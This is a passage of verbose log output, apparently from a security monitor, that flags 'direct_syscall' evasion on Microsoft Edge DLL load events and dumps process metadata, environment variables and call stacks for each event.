Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e49f1 C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9fad95 C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContextUnsafeFast|0x7ffcde9f6382 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffcde5287e2 C:\Windows\System32\setupapi.dll!pSetupConcatenatePaths|0x7ffcde55f583 C:\Windows\System32\setupapi.dll!SetupDiOpenClassRegKeyExW|0x7ffcde51bcc1 C:\Windows\System32\setupapi.dll!pSetupDiInvalidateHelperModules|0x7ffcde51a495 C:\Windows\System32\setupapi.dll!SetupDiDestroyDeviceInfoList|0x7ffc8e9afafa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa953 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4184595 + Pid: 7364 + Tid: 16272 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5436099 +0100 CET + Params: base_address➜ 7ffcdb250000, checksum➜ 150871, default_address➜ 7ffcdb250000, file_path➜ C:\Windows\System32\msasn1.dll, image_size➜ 77824, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdc2c4a80 C:\Windows\System32\wintrust.dll!WTHelperGetFileHandle|0x7ffcdc2d4ccf C:\Windows\System32\wintrust.dll!CryptSIPGetRegWorkingFlags|0x7ffcdc2bad6a C:\Windows\System32\wintrust.dll!TrustOpenStores|0x7ffcdc2bac80 C:\Windows\System32\wintrust.dll!TrustOpenStores|0x7ffcdc2dce53 C:\Windows\System32\wintrust.dll!WTHelperCertFindIssuerCertificate|0x7ffcdc2d4459 C:\Windows\System32\wintrust.dll!CryptSIPGetRegWorkingFlags|0x7ffcdeb3f96e C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffcde9ebcae C:\Windows\System32\ntdll.dll!RtlRaiseException|0x7ffcde9e97ac C:\Windows\System32\ntdll.dll!RtlDeleteElementGenericTableAvlEx|0x7ffcdea776ea C:\Windows\System32\ntdll.dll!LdrGetProcedureAddressForCaller|0x7ffcdea76203 C:\Windows\System32\ntdll.dll!LdrGetProcedureAddress|0x7ffcde9f6414 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdbc16c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7ffcde5287e2 C:\Windows\System32\setupapi.dll!pSetupConcatenatePaths|0x7ffcde55f583 C:\Windows\System32\setupapi.dll!SetupDiOpenClassRegKeyExW|0x7ffcde51bcc1 C:\Windows\System32\setupapi.dll!pSetupDiInvalidateHelperModules|0x7ffcde51a495 C:\Windows\System32\setupapi.dll!SetupDiDestroyDeviceInfoList|0x7ffc8e9afafa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa953 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4184615 + Pid: 7364 + Tid: 6260 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5449089 +0100 CET + Params: base_address➜ 7ffccd9f0000, checksum➜ 2401519, default_address➜ 7ffccd9f0000, file_path➜ C:\Windows\System32\twinapi.appcore.dll, image_size➜ 2375680, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc8f63abe6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f63ab28 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8f723596 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8f723533 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ffc8e9a3161 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e9a2f6d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e9a2f19 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e9a2e6d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e9a2d2c C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:22+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4184864 + Pid: 7364 + Tid: 6584 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:14.5553233 +0100 CET + Params: base_address➜ 7ffc70b80000, checksum➜ 5870203, default_address➜ 7ffc70b80000, file_path➜ C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\oneauth.dll, image_size➜ 5853184, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI 